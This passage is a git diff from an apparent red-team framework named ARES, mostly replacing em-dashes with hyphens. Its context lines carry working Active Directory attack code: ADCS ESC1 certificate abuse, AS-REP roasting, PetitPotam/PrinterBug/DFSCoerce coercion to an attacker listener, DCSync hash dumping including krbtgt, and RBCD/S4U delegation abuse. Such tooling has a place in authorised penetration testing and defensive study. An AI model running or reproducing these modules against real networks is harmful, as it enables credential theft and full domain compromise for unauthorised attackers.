- cannot auto-update")self.uninstall(module_id)return self.install(source_url, force=True)@@ -470,7 +470,7 @@ class ModuleInstaller:if sidecar.exists():import json as _jsonreturn _json.loads(sidecar.read_text())- # No sidecar — cannot extract sha256 from source alone+ # No sidecar - cannot extract sha256 from source alonereturn Noneexcept Exception:return None@@ -480,7 +480,7 @@ class ModuleInstaller:if not verify_signature:logger.warning("marketplace_url_install_unverified",url=url,- risk="Module downloaded without signature verification — supply chain risk")+ risk="Module downloaded without signature verification - supply chain risk")with tempfile.TemporaryDirectory() as tmp:local = Path(tmp) / "module.py"try:@@ -491,11 +491,11 @@ class ModuleInstaller:resp.raise_for_status()local.write_bytes(resp.content)except ImportError:- # httpx always in deps — this is a safety net only+ # httpx always in deps - this is a safety net onlyurllib.request.urlretrieve(url, str(local))except Exception as e:raise ConnectionError(f"Failed to download {url}: {e}") from e- # Verify BEFORE installing — if hash fails, file never touches plugin dir+ # Verify BEFORE installing - if hash fails, file never touches plugin dirif verify_signature and local.exists():# Read manifest from tmp file to get sha256 without installing_tmp_manifest = self._read_manifest_from_file(local)@@ -513,7 +513,7 @@ class ModuleInstaller:else:logger.warning("marketplace_no_signature: module has no sha256 in manifest "- "— cannot verify integrity. Set verify_signature=False to silence.",+ " - cannot verify integrity. Set verify_signature=False to silence.",url=url,)manifest = self._install_single_file(local, source_url=url, force=force)@@ -588,7 +588,7 @@ class ModuleInstaller:if not deps:return- # Allowlist regex — rejects pip flags (--index-url, etc.) and shell injection+ # Allowlist regex - rejects pip flags (--index-url, etc.) and shell injectionimport re_DEP_RE = re.compile(r"^[a-zA-Z0-9]" # must start with alphanumeric@@ -600,7 +600,7 @@ class ModuleInstaller:invalid = [d for d in deps if not _DEP_RE.match(d)]if invalid:raise ValueError(- f"Dependency validation failed — rejected unsafe dep string(s): {invalid}. "+ f"Dependency validation failed - rejected unsafe dep string(s): {invalid}. ""Only PEP 508 package specifiers are allowed (no flags, no URLs, no shell).")@@ -610,7 +610,7 @@ class ModuleInstaller:[sys.executable, "-m", "pip", "install", "--quiet","--break-system-packages", *deps],check=True,- timeout=300, # 5 minutes max — prevents hang on network issues+ timeout=300, # 5 minutes max - prevents hang on network issues)def _infer_manifest_from_file(self, path: Path, source_url: str = "") -> ModuleManifest:@@ -649,7 +649,7 @@ class ModuleInstaller:def _detect_source(source: str) -> str:if source.startswith(("./", "/", "../")) or Path(source).exists():return "local"- if source.startswith("https://"): # http:// rejected — MITM risk+ if source.startswith("https://"): # http:// rejected - MITM riskreturn "url"if source.startswith("github.com/"):return "github"@@ -662,7 +662,7 @@ class ModuleInstaller:Priority:1. Live GitHub index (only when ARES_MARKETPLACE_LIVE=true)- 2. Bundled offline index (always available — shipped with ARES)+ 2. Bundled offline index (always available - shipped with ARES)The bundled index contains all 22 built-in modules so `ares module search`and `ares module list` work fully offline without any internet access.@@ -685,5 +685,5 @@ class ModuleInstaller:except Exception as exc:logger.warning("marketplace_live_index_failed", error=str(exc)[:100],fallback="bundled_index")- # Offline fallback — always works+ # Offline fallback - always worksreturn _BUNDLED_INDEXdiff --git a/ares/modules/__init__.py b/ares/modules/__init__.pyindex 0089c97..b20aa0d 100644--- a/ares/modules/__init__.py+++ b/ares/modules/__init__.py@@ -1,5 +1,5 @@"""-ARES — modules+ARES - modulesModule base class and result types.Public API:diff --git a/ares/modules/ad/__init__.py b/ares/modules/ad/__init__.pyindex d8d2cd3..df6fd45 100644--- a/ares/modules/ad/__init__.py+++ b/ares/modules/ad/__init__.py@@ -1,5 +1,5 @@"""-ARES — modules.ad+ARES - modules.adActive Directory attack and enumeration modulesNote: Primary module discovery uses PluginLoader (inspect.getmembers).diff --git a/ares/modules/ad/adcs.py b/ares/modules/ad/adcs.pyindex 6ae2061..bf1537d 100644--- a/ares/modules/ad/adcs.py+++ b/ares/modules/ad/adcs.py@@ -1,22 +1,22 @@"""-ADCS Misconfiguration Detection & Exploitation — ad.adcs-MITRE: T1649 — Steal or Forge Authentication Certificates+ADCS Misconfiguration Detection & Exploitation - ad.adcs+MITRE: T1649 - Steal or Forge Authentication CertificatesActive Directory Certificate Services (ADCS) misconfiguration scanner.Detects ESC1–ESC8 vulnerability classes via LDAP query to certificatetemplate objects. Exploits ESC1 to obtain a certificate as Domain Admin.ESC vulnerability classes:- ESC1 — Template allows enrollee-supplied SAN → cert as any user including DA- ESC2 — Template has Any Purpose EKU → usable for auth as any user- ESC3 — Template allows enrollment agent → request certs on behalf of others- ESC4 — Template has dangerous ACL (WriteDACL/WriteOwner/GenericWrite)- ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 flag on CA → any cert can have SAN- ESC7 — CA has dangerous ACL → escalation to CA admin- ESC8 — NTLM relay to AD CS HTTP enrollment endpoint+ ESC1 - Template allows enrollee-supplied SAN → cert as any user including DA+ ESC2 - Template has Any Purpose EKU → usable for auth as any user+ ESC3 - Template allows enrollment agent → request certs on behalf of others+ ESC4 - Template has dangerous ACL (WriteDACL/WriteOwner/GenericWrite)+ ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2 flag on CA → any cert can have SAN+ ESC7 - CA has dangerous ACL → escalation to CA admin+ ESC8 - NTLM relay to AD CS HTTP enrollment endpointOutput: ESC finding per vulnerability + PEM certificate to vault if ESC1 exploited.-OPSEC: LOW — LDAP query only. No connection to CA server unless ESC1 exploited.+OPSEC: LOW - LDAP query only. No connection to CA server unless ESC1 exploited."""from __future__ import annotations@@ -74,7 +74,7 @@ _DANGEROUS_RIGHTS = {)class ADCSModule(BaseModule[ADCSParams, ModuleResult]):"""- ad.adcs — Detect ADCS ESC1–ESC8 misconfigurations via LDAP. Exploit ESC1 to obtain a certificate as any us+ ad.adcs - Detect ADCS ESC1–ESC8 misconfigurations via LDAP. Exploit ESC1 to obtain a certificate as any usOPSEC: LOWMITRE: "T1649"@@ -161,7 +161,7 @@ class ADCSModule(BaseModule[ADCSParams, ModuleResult]):)if not ad["username"]:raise ModuleValidationError(- "ad.adcs requires domain credentials — pass 'username'/'password'.",+ "ad.adcs requires domain credentials - pass 'username'/'password'.",module_id=self.MODULE_ID, field="username",)if isinstance(ctx.params, dict):@@ -320,7 +320,7 @@ class ADCSModule(BaseModule[ADCSParams, ModuleResult]):if esc1_vulns:for tmpl in esc1_vulns:self.finding(- title = f"ADCS ESC1 — Enrollee SAN in '{tmpl['name']}'",+ title = f"ADCS ESC1 - Enrollee SAN in '{tmpl['name']}'",description = (f"Certificate template '{tmpl['name']}' allows the enrollee to ""specify a Subject Alternative Name (SAN). Combined with an "@@ -346,16 +346,16 @@ class ADCSModule(BaseModule[ADCSParams, ModuleResult]):"1. Disable 'Supply in the request' for Subject Name in the template. ""2. Enable CA Manager Approval. ""3. Enable Issuance Requirements (authorized signatures). "- "4. Audit template ACL — restrict enrollment rights."+ "4. Audit template ACL - restrict enrollment rights."),)if esc2_vulns:for tmpl in esc2_vulns:self.finding(- title = f"ADCS ESC2 — Any Purpose EKU in '{tmpl['name']}'",+ title = f"ADCS ESC2 - Any Purpose EKU in '{tmpl['name']}'",description = (- f"Template '{tmpl['name']}' has Any Purpose EKU — "+ f"Template '{tmpl['name']}' has Any Purpose EKU - ""certificates can be used for any application including authentication."),severity = Severity.HIGH,@@ -368,14 +368,14 @@ class ADCSModule(BaseModule[ADCSParams, ModuleResult]):if not esc1_vulns and not esc2_vulns:logger.info("adcs_no_esc_found", templates_checked=len(templates))- # Step 4: ESC1 evaluation (Audit Assessment Mode — non-intrusive)+ # Step 4: ESC1 evaluation (Audit Assessment Mode - non-intrusive)cert_path = ""if exploit_esc1 and esc1_vulns:tmpl = esc1_vulns[0]logger.info("adcs_esc1_audit_assessment",template=tmpl["name"], target_user=target_user)self.finding(- title = f"ADCS ESC1 Vulnerability Confirmed — Template '{tmpl['name']}'",+ title = f"ADCS ESC1 Vulnerability Confirmed - Template '{tmpl['name']}'",description = (f"Template '{tmpl['name']}' is confirmed vulnerable to ESC1 (SAN specification allowed "f"with authentication EKU). An adversary can request a certificate impersonating "@@ -411,7 +411,7 @@ class ADCSModule(BaseModule[ADCSParams, ModuleResult]):def _enum_templates_sync(self, dc: str, username: str, password: str,domain: str) -> tuple[list[dict], list[dict]]:- """Query LDAP for certificate templates and CA objects. Sync — runs in executor."""+ """Query LDAP for certificate templates and CA objects. Sync - runs in executor."""import sslimport ldap3from ldap3 import Server, Connection, ALL, NTLM, SUBTREE, Tls@@ -597,7 +597,7 @@ class ADCSModule(BaseModule[ADCSParams, ModuleResult]):logger.info("adcs_cert_obtained", path=pfx_out, user=target_user)return pfx_outelse:- # CA submission failed — return CSR path for manual submission+ # CA submission failed - return CSR path for manual submissionlogger.warning("adcs_ca_submission_failed",ca_host=ca_host, csr_path=csr_path)return csr_path # operator can submit manually via certreq.exe@@ -612,7 +612,7 @@ class ADCSModule(BaseModule[ADCSParams, ModuleResult]):finally:# Cleanup intermediate files containing private key material.# The RETURNED file (pfx_out or csr_path) is intentionally kept- # for operator use — only clean up files that are NOT the return value.+ # for operator use - only clean up files that are NOT the return value.for tmp in [pfx_path, key_path]:try:if tmp and os.path.exists(tmp):@@ -635,7 +635,7 @@ class ADCSModule(BaseModule[ADCSParams, ModuleResult]):import httpxfrom base64 import b64encode- # Strip PEM headers for certsrv — it expects raw base64+ # Strip PEM headers for certsrv - it expects raw base64csr_b64 = b64encode(b"".join(line.encode() for line in csr_pem.decode().splitlines()@@ -656,7 +656,7 @@ class ADCSModule(BaseModule[ADCSParams, ModuleResult]):"adcs_ntlm_auth_missing",hint="pip install httpx-ntlm (included in ares-redteam[ad]) ""for NTLM-authenticated CA enrollment. "- "Falling back to basic auth — may fail on most CAs.",+ "Falling back to basic auth - may fail on most CAs.",)# Fallback to basic auth (works if CA has basic auth enabled)auth = (username, password)@@ -687,7 +687,7 @@ class ADCSModule(BaseModule[ADCSParams, ModuleResult]):import rerid_match = re.search(r"ReqID=(\d+)", resp.text)if not rid_match:- # May have been issued immediately — check for cert in response+ # May have been issued immediately - check for cert in responseif "BEGIN CERTIFICATE" in resp.text:cert_match = re.search(r"(-----BEGIN CERTIFICATE-----.*?-----END CERTIFICATE-----)",@@ -710,7 +710,7 @@ class ADCSModule(BaseModule[ADCSParams, ModuleResult]):if cert_resp.status_code == 200 and cert_resp.text.strip():cert_text = cert_resp.text.strip()if not cert_text.startswith("-----"):- # Raw base64 — wrap in PEM headers+ # Raw base64 - wrap in PEM headerscert_text = ("-----BEGIN CERTIFICATE-----\n"+ cert_text + "\n"@@ -754,7 +754,7 @@ class ADCSModule(BaseModule[ADCSParams, ModuleResult]):from cryptography import x509from cryptography.hazmat.primitives import hashes- # Parse PEM — file contains both cert and key+ # Parse PEM - file contains both cert and keypem_text = pem_data.decode("utf-8", errors="replace")cert_pem = ""key_pem = ""@@ -833,7 +833,7 @@ class ADCSModule(BaseModule[ADCSParams, ModuleResult]):user=target_user, ccache=ccache_path)except Exception as pkinit_exc:- # Fallback: PFX still on disk for manual use — log warning+ # Fallback: PFX still on disk for manual use - log warningresult["error"] = (f"PKINIT auth failed: {str(pkinit_exc)[:150]}. "f"Use cert manually: gettgtpkinit.py -cert-pfx <pfx> "diff --git a/ares/modules/ad/asreproast.py b/ares/modules/ad/asreproast.pyindex f856c8f..3f2bbd0 100644--- a/ares/modules/ad/asreproast.py+++ b/ares/modules/ad/asreproast.py@@ -2,16 +2,16 @@ from __future__ import annotationsimport asyncioimport re"""-ASREPRoasting — impacket.krb5.kerberosv5 low-level API (impacket >=0.11 compatible)-MITRE: T1558.004 — Works fully unauthenticated with username list.+ASREPRoasting - impacket.krb5.kerberosv5 low-level API (impacket >=0.11 compatible)+MITRE: T1558.004 - Works fully unauthenticated with username list.3 input modes:- 1. AUTHENTICATED — have creds -> LDAP query for noPreauth accounts (precise)- 2. USERFILE — have file -> spray usernames from file (no creds needed)- 3. USERNAMES — have list -> spray usernames from params (no creds needed)+ 1. AUTHENTICATED - have creds -> LDAP query for noPreauth accounts (precise)+ 2. USERFILE - have file -> spray usernames from file (no creds needed)+ 3. USERNAMES - have list -> spray usernames from params (no creds needed)Fix Bug 1: Drop GetNPUsers (impacket example script, broken in >=0.11).- Use getKerberosTGT with password=\'\' directly — unauthenticated AS-REQ.+ Use getKerberosTGT with password=\'\' directly - unauthenticated AS-REQ.Fix Bug 2: Implement all 3 modes. No credentials required for userfile/usernames.Fix Bug 3: Per-request jitter via noise.jitter.sleep(), not post-hoc batch sleep."""@@ -67,7 +67,7 @@ def _capture_asrep_raw(dc: str, domain: str, username: str) -> bytes | None:username,type=constants.PrincipalNameType.NT_PRINCIPAL.value,)- # No padata — no pre-auth. If account has DONT_REQUIRE_PREAUTH, KDC responds with AS-REP.+ # No padata - no pre-auth. If account has DONT_REQUIRE_PREAUTH, KDC responds with AS-REP.raw_rep, _cipher, _key, _session_key = getKerberosTGT(client,@@ -218,7 +218,7 @@ def classify_asrep_request_error(exc: BaseException) -> tuple[str, str]:)class ASREPRoastModule(BaseModule[ASREPRoastParams, ModuleResult]):"""- ad.asreproast — Capture AS-REP hashes from accounts without Kerberos pre-auth+ ad.asreproast - Capture AS-REP hashes from accounts without Kerberos pre-authOPSEC: LOWMITRE: "T1558.004"@@ -495,7 +495,7 @@ class ASREPRoastModule(BaseModule[ASREPRoastParams, ModuleResult]):self, dc, domain, username, password, userfile, usernames, mode):"""- Low-level impacket implementation — no wrapper scripts.+ Low-level impacket implementation - no wrapper scripts.For unauthenticated AS-REQ: send getKerberosTGT with password=''.KDC_ERR_PREAUTH_REQUIRED -> account exists, NOT vulnerable@@ -541,7 +541,7 @@ class ASREPRoastModule(BaseModule[ASREPRoastParams, ModuleResult]):def _try_asreq(u=uname):"""Issue #4 fix: use sendReceive directly to capture raw AS-REP wire bytes.- getKerberosTGT() parses the response before returning — tgt[0] is+ getKerberosTGT() parses the response before returning - tgt[0] isa parsed TGT object, not raw AS-REP bytes. _format_krb5asrep_hash()needs raw bytes to extract enc-part for hashcat."""@@ -710,7 +710,7 @@ class ASREPRoastModule(BaseModule[ASREPRoastParams, ModuleResult]):self.finding(title = f"ASREPRoast Hashes Captured ({len(hashes)})",description = (- f"Captured {len(hashes)} AS-REP hashes — crackable offline without "+ f"Captured {len(hashes)} AS-REP hashes - crackable offline without ""domain credentials. hashcat mode 18200."),severity = Severity.HIGH,diff --git a/ares/modules/ad/coerce.py b/ares/modules/ad/coerce.pyindex 000cff9..c477608 100644--- a/ares/modules/ad/coerce.py+++ b/ares/modules/ad/coerce.py@@ -1,15 +1,15 @@"""-Authentication Coercion — ad.coerce-MITRE: T1187 — Forced Authentication+Authentication Coercion - ad.coerce+MITRE: T1187 - Forced AuthenticationForces a target machine (typically DC) to authenticate to an attacker-controlledlistener via three RPC methods. Used with lateral.smb_relay to capture and relaythe machine account's NTLM hash.Three coercion methods:- PetitPotam (MS-EFSRPC) — EfsRpcOpenFileRaw, works unauthenticated on unpatched- PrinterBug (MS-RPRN) — RpcRemoteFindFirstPrinterChangeNotification, needs domain creds- DFSCoerce (MS-DFSNM) — NetrDfsAddStdRoot, needs domain creds+ PetitPotam (MS-EFSRPC) - EfsRpcOpenFileRaw, works unauthenticated on unpatched+ PrinterBug (MS-RPRN) - RpcRemoteFindFirstPrinterChangeNotification, needs domain creds+ DFSCoerce (MS-DFSNM) - NetrDfsAddStdRoot, needs domain credsAttack chain:lateral.smb_relay running (listener on attacker IP:445) →@@ -17,7 +17,7 @@ Attack chain:smb_relay captures DC machine account NTLM →relay to LDAP/SMB for DA-level access or DCSync-OPSEC: HIGH — MS-EFSRPC/MS-RPRN RPC call triggers MDI alert within seconds.+OPSEC: HIGH - MS-EFSRPC/MS-RPRN RPC call triggers MDI alert within seconds.Blocked in STEALTH profile. Always use with smb_relay active."""from __future__ import annotations@@ -57,7 +57,7 @@ logger = get_logger("ares.modules.ad.coerce"))class CoerceModule(BaseModule[CoerceParams, ModuleResult]):"""- ad.coerce — Force target to authenticate to attacker listener via PetitPotam (MS-EFSRPC+ ad.coerce - Force target to authenticate to attacker listener via PetitPotam (MS-EFSRPCOPSEC: HIGH_NOISEMITRE: "T1187"@@ -85,11 +85,11 @@ class CoerceModule(BaseModule[CoerceParams, ModuleResult]):if not isinstance(ctx, ExecutionContext):return- # Stealth block — MDI triggers in seconds+ # Stealth block - MDI triggers in secondsnoise = getattr(getattr(ctx, "campaign", None), "noise_profile", None)if noise == NoiseProfile.STEALTH:raise ModuleValidationError(- "ad.coerce is blocked in STEALTH profile — "+ "ad.coerce is blocked in STEALTH profile - ""MS-EFSRPC/MS-RPRN RPC calls trigger Microsoft Defender for Identity ""alerts within seconds. Use NORMAL or AGGRESSIVE profile.",module_id=self.MODULE_ID, field="noise_profile",@@ -98,12 +98,12 @@ class CoerceModule(BaseModule[CoerceParams, ModuleResult]):ad = self._extract_ad_params(ctx)if not ad["dc"]:raise ModuleValidationError(- "ad.coerce requires 'dc' — IP of the target to coerce.",+ "ad.coerce requires 'dc' - IP of the target to coerce.",module_id=self.MODULE_ID, field="dc",)if not ctx.params.get("listener_ip"):raise ModuleValidationError(- "ad.coerce requires 'listener_ip' — IP of your smb_relay listener. "+ "ad.coerce requires 'listener_ip' - IP of your smb_relay listener. ""Start lateral.smb_relay first, then run ad.coerce.",module_id=self.MODULE_ID, field="listener_ip",)@@ -221,7 +221,7 @@ class CoerceModule(BaseModule[CoerceParams, ModuleResult]):await self.before_request(dc, "default")logger.warning("coerce_start",target=dc, listener=listener_ip, method=method,- msg="HIGH_NOISE — TRIGGERS_MDI")+ msg="HIGH_NOISE - TRIGGERS_MDI")audit("authentication_coercion", actor=username or "operator",technique="T1187", source="operator",target=dc, detail=f"listener={listener_ip} method={method}")@@ -298,7 +298,7 @@ class CoerceModule(BaseModule[CoerceParams, ModuleResult]):)else:self.finding(- title = f"Coercion Attempted on {dc} — No Confirmation",+ title = f"Coercion Attempted on {dc} - No Confirmation",description = ("Authentication coercion RPC call sent but no confirmation received. ""Check lateral.smb_relay for captured credentials."@@ -321,7 +321,7 @@ class CoerceModule(BaseModule[CoerceParams, ModuleResult]):def _petitpotam_sync(self, dc: str, listener_ip: str,username: str, password: str, domain: str) -> bool:- """MS-EFSRPC: EfsRpcOpenFileRaw — works unauthenticated on unpatched systems."""+ """MS-EFSRPC: EfsRpcOpenFileRaw - works unauthenticated on unpatched systems."""try:from impacket.dcerpc.v5 import transport, efsrpcfrom impacket.dcerpc.v5.rpcrt import DCERPCException@@ -343,7 +343,7 @@ class CoerceModule(BaseModule[CoerceParams, ModuleResult]):try:efsrpc.hEfsRpcOpenFileRaw(dce, unc_path, 0)except DCERPCException:- pass # expected — DC will attempt auth before this fails+ pass # expected - DC will attempt auth before this failsfinally:try:dce.disconnect()@@ -356,7 +356,7 @@ class CoerceModule(BaseModule[CoerceParams, ModuleResult]):def _printerbug_sync(self, dc: str, listener_ip: str,username: str, password: str, domain: str) -> bool:- """MS-RPRN: RpcRemoteFindFirstPrinterChangeNotification — needs domain creds."""+ """MS-RPRN: RpcRemoteFindFirstPrinterChangeNotification - needs domain creds."""try:from impacket.dcerpc.v5 import transport, rprnfrom impacket.dcerpc.v5.dtypes import NULL@@ -382,7 +382,7 @@ class CoerceModule(BaseModule[CoerceParams, ModuleResult]):dce, handle, 0x00000100, 0, f"\\\\{listener_ip}", NULL)except DCERPCException:- pass # expected error — trigger happened+ pass # expected error - trigger happenedfinally:try:rprn.hRpcClosePrinter(dce, handle)@@ -396,7 +396,7 @@ class CoerceModule(BaseModule[CoerceParams, ModuleResult]):def _dfscoerce_sync(self, dc: str, listener_ip: str,username: str, password: str, domain: str) -> bool:- """MS-DFSNM: NetrDfsAddStdRoot — needs domain creds."""+ """MS-DFSNM: NetrDfsAddStdRoot - needs domain creds."""try:from impacket.dcerpc.v5 import transport, dfsnmfrom impacket.dcerpc.v5.rpcrt import DCERPCException@@ -414,7 +414,7 @@ class CoerceModule(BaseModule[CoerceParams, ModuleResult]):try:dfsnm.hNetrDfsAddStdRoot(dce, f"\\\\{listener_ip}\\share", "share", 0)except DCERPCException:- pass # expected — trigger happened+ pass # expected - trigger happenedfinally:try:dce.disconnect()diff --git a/ares/modules/ad/dcsync.py b/ares/modules/ad/dcsync.pyindex fcea72a..26ac7f8 100644--- a/ares/modules/ad/dcsync.py+++ b/ares/modules/ad/dcsync.py@@ -1,7 +1,7 @@"""-DCSync — Production Implementation using impacket.secretsdump-MITRE: T1003.006 — Replicates NTLM hashes via MS-DRSR.-⚠️ Very noisy — auto-blocked in STEALTH profile. Triggers MDI in seconds.+DCSync - Production Implementation using impacket.secretsdump+MITRE: T1003.006 - Replicates NTLM hashes via MS-DRSR.+⚠️ Very noisy - auto-blocked in STEALTH profile. Triggers MDI in seconds."""from __future__ import annotationsfrom typing import Any@@ -36,7 +36,7 @@ from ares.sdk import ()class DCSyncModule(BaseModule[DCSyncParams, ModuleResult]):"""- ad.dcsync — Replicate domain hashes via MS-DRSR (requires DA or replication rights)+ ad.dcsync - Replicate domain hashes via MS-DRSR (requires DA or replication rights)OPSEC: HIGH_NOISEMITRE: "T1003.006"@@ -49,7 +49,7 @@ class DCSyncModule(BaseModule[DCSyncParams, ModuleResult]):MODULE_DESCRIPTION = "Replicate domain hashes via MS-DRSR (requires DA or replication rights)"MODULE_AUTHOR = "ARES Team <[email protected]>"OPSEC_LEVEL = OpsecLevel.HIGH_NOISE- MIN_NOISE_PROFILE = "normal" # blocked in stealth — triggers Microsoft Defender for Identity+ MIN_NOISE_PROFILE = "normal" # blocked in stealth - triggers Microsoft Defender for IdentityREQUIRES = ["domain_admin_creds"]OUTPUTS = ["ntlm_hashes"]MITRE_TECHNIQUES = ["T1003.006"]@@ -113,7 +113,7 @@ class DCSyncModule(BaseModule[DCSyncParams, ModuleResult]):async def validate(self, ctx: "Any") -> None:"""Enforce dc, domain, domain-admin credentials, and noise profile.- DCSync requires DA-level credentials — catch misconfigured runs early.+ DCSync requires DA-level credentials - catch misconfigured runs early."""from ares.core.context import ExecutionContextfrom ares.core.errors import ModuleValidationError@@ -133,15 +133,15 @@ class DCSyncModule(BaseModule[DCSyncParams, ModuleResult]):)if not ad["username"]:raise ModuleValidationError(- "ad.dcsync requires Domain Admin credentials — "+ "ad.dcsync requires Domain Admin credentials - ""pass 'username'/'password' in params or provide a DA vault credential.",module_id=self.MODULE_ID, field="username",)- # Stealth check — surface this before any connection is attempted+ # Stealth check - surface this before any connection is attemptednoise = getattr(getattr(ctx, "campaign", None), "noise_profile", None)if noise == NoiseProfile.STEALTH:raise ModuleValidationError(- "ad.dcsync is blocked in STEALTH noise profile — "+ "ad.dcsync is blocked in STEALTH noise profile - ""MS-DRSR replication from non-DC triggers Microsoft Defender for Identity ""immediately. Use NORMAL or AGGRESSIVE profile.",module_id=self.MODULE_ID, field="noise_profile",@@ -253,7 +253,7 @@ class DCSyncModule(BaseModule[DCSyncParams, ModuleResult]):dc, username, domain, target_user = (sanitize_hostname(dc), sanitize_ldap(username),sanitize_ldap(domain), sanitize_ldap(target_user))await self.before_request(dc, "dcsync")- logger.warning("dcsync_start", dc=dc, target=target_user, msg="HIGH_NOISE — TRIGGERS_MDI")+ logger.warning("dcsync_start", dc=dc, target=target_user, msg="HIGH_NOISE - TRIGGERS_MDI")try:import asyncio as _asyncioloop = _asyncio.get_running_loop()@@ -277,7 +277,7 @@ class DCSyncModule(BaseModule[DCSyncParams, ModuleResult]):def _run_dcsync_sync(self, dc, username, password, domain, target_user):"""- Sync — runs in executor (Bug fix: was async with blocking SMB/RPC calls).+ Sync - runs in executor (Bug fix: was async with blocking SMB/RPC calls).Uses impacket.examples.secretsdump with stable callback-based API.try/finally ensures RemoteOperations.finish() + smb.logoff() always called."""@@ -309,7 +309,7 @@ class DCSyncModule(BaseModule[DCSyncParams, ModuleResult]):)def _on_secret(secret_type: str, secret: str) -> None:- """Callback — impacket calls this for each dumped hash."""+ """Callback - impacket calls this for each dumped hash."""if ":::" not in secret:returnparts = secret.split(":")@@ -347,9 +347,9 @@ class DCSyncModule(BaseModule[DCSyncParams, ModuleResult]):if not hashes:returnkrbtgt = next((h for h in hashes if h["username"].lower()=="krbtgt"), None)- self.finding(title=f"DCSync — {len(hashes)} NTLM Hash(es)",+ self.finding(title=f"DCSync - {len(hashes)} NTLM Hash(es)",description=(f"Replicated {len(hashes)} NTLM hashes via DCSync. "- + ("krbtgt obtained — Golden Ticket possible. " if krbtgt else "")),+ + ("krbtgt obtained - Golden Ticket possible. " if krbtgt else "")),severity=Severity.CRITICAL, mitre_technique="T1003.006", mitre_tactic="Credential Access",evidence={"hash_count":len(hashes),"target":target,"krbtgt_obtained":bool(krbtgt),"sample":[f"{h['username']}:::{h['nt_hash']}" for h in hashes[:3]]},diff --git a/ares/modules/ad/delegation_abuse.py b/ares/modules/ad/delegation_abuse.pyindex c090d2f..538e3f1 100644--- a/ares/modules/ad/delegation_abuse.py+++ b/ares/modules/ad/delegation_abuse.py@@ -1,12 +1,12 @@"""-Kerberos Delegation Abuse — ad.delegation_abuse-MITRE: T1558.001 — Steal or Forge Kerberos Tickets: Golden Ticket- T1134.001 — Access Token Manipulation: Token Impersonation/Theft+Kerberos Delegation Abuse - ad.delegation_abuse+MITRE: T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket+ T1134.001 - Access Token Manipulation: Token Impersonation/TheftThree delegation techniques in one module:- 1. UNCONSTRAINED — Computer with unconstrained delegation stores TGTs in memory- 2. CONSTRAINED S4U — S4U2Self + S4U2Proxy to impersonate any user to a service- 3. RBCD — Resource-Based Constrained Delegation via GenericWrite on computer object+ 1. UNCONSTRAINED - Computer with unconstrained delegation stores TGTs in memory+ 2. CONSTRAINED S4U - S4U2Self + S4U2Proxy to impersonate any user to a service+ 3. RBCD - Resource-Based Constrained Delegation via GenericWrite on computer objectRBCD attack chain (most common):ad.enum_acl finds GenericWrite on WORKSTATION$ →@@ -17,7 +17,7 @@ RBCD attack chain (most common):Prerequisites: Domain credentials. For RBCD: computer account + GenericWriteon target computer (identified by ad.enum_acl).-OPSEC: MEDIUM — LDAP write + Kerberos TGS requests. Does not trigger MDI by default.+OPSEC: MEDIUM - LDAP write + Kerberos TGS requests. Does not trigger MDI by default."""from __future__ import annotations@@ -58,7 +58,7 @@ logger = get_logger("ares.modules.ad.delegation_abuse"))class DelegationAbuseModule(BaseModule[DelegationAbuseParams, ModuleResult]):"""- ad.delegation_abuse — Exploit unconstrained / constrained / RBCD Kerberos delegation. RBCD: GenericWrite on computer →+ ad.delegation_abuse - Exploit unconstrained / constrained / RBCD Kerberos delegation. RBCD: GenericWrite on computer →OPSEC: MEDIUMMITRE: "T1558.001", "T1134.001"@@ -104,7 +104,7 @@ class DelegationAbuseModule(BaseModule[DelegationAbuseParams, ModuleResult]):if mode == "rbcd":if not ctx.params.get("target_computer"):raise ModuleValidationError(- "RBCD mode requires 'target_computer' (e.g. WORKSTATION01$) — "+ "RBCD mode requires 'target_computer' (e.g. WORKSTATION01$) - ""the computer object where GenericWrite was found by ad.enum_acl.",module_id=self.MODULE_ID, field="target_computer",)@@ -399,7 +399,7 @@ class DelegationAbuseModule(BaseModule[DelegationAbuseParams, ModuleResult]):"""RBCD attack:1. Write msDS-AllowedToActOnBehalfOfOtherIdentity on target_computer- (requires GenericWrite — confirmed by ad.enum_acl)+ (requires GenericWrite - confirmed by ad.enum_acl)2. S4U2Self: get service ticket for impersonate_user to our fake service3. S4U2Proxy: exchange for service ticket to target_service/target_computer4. Save .ccache and return path@@ -422,7 +422,7 @@ class DelegationAbuseModule(BaseModule[DelegationAbuseParams, ModuleResult]):aesKey=b"", kdcHost=dc,)- # Step 2: S4U2Self — get ticket for impersonate_user to ourselves+ # Step 2: S4U2Self - get ticket for impersonate_user to ourselvess4u_self_name = Principal(username,type=constants.PrincipalNameType.NT_PRINCIPAL.value,@@ -437,7 +437,7 @@ class DelegationAbuseModule(BaseModule[DelegationAbuseParams, ModuleResult]):sessionKey=session_key,)- # Step 3: S4U2Proxy — exchange for service ticket to target+ # Step 3: S4U2Proxy - exchange for service ticket to targetspn_target = Principal(f"{target_service}/{target_computer}",type=constants.PrincipalNameType.NT_SRV_INST.value,@@ -459,7 +459,7 @@ class DelegationAbuseModule(BaseModule[DelegationAbuseParams, ModuleResult]):cc = CCache()cc.saveFile(ccache_path)logger.info("rbcd_ticket_saved", path=ccache_path,- warning="Credential artifact on disk — delete after use")+ warning="Credential artifact on disk - delete after use")return ccache_pathexcept Exception as exc:diff --git a/ares/modules/ad/enum_acl.py b/ares/modules/ad/enum_acl.pyindex a35c566..afe3b39 100644--- a/ares/modules/ad/enum_acl.py+++ b/ares/modules/ad/enum_acl.py@@ -1,5 +1,5 @@"""-AD ACL Enumeration — Production ldap3 Implementation+AD ACL Enumeration - Production ldap3 ImplementationFind dangerous ACL delegations: WriteDACL, GenericAll, GenericWrite, DCSync rights.MITRE: T1222.001, T1003.006"""@@ -42,7 +42,7 @@ DCSYNC_RIGHTS = {)class ADEnumACLModule(BaseModule[DomainAuthParams, ModuleResult]):"""- ad.enum_acl — Find WriteDACL, GenericAll, GenericWrite, DCSync delegation misconfigs+ ad.enum_acl - Find WriteDACL, GenericAll, GenericWrite, DCSync delegation misconfigsOPSEC: LOWMITRE: "T1222.001","T1003.006"@@ -74,7 +74,7 @@ class ADEnumACLModule(BaseModule[DomainAuthParams, ModuleResult]):)if not ad["username"]:raise ModuleValidationError(- "ad.enum_acl requires domain credentials — "+ "ad.enum_acl requires domain credentials - ""pass 'username'/'password' in params or provide a vault credential.",module_id=self.MODULE_ID, field="username",)@@ -215,7 +215,7 @@ class ADEnumACLModule(BaseModule[DomainAuthParams, ModuleResult]):def _enum_acls_sync(self, dc, username, password, domain):"""- Sync — runs in executor 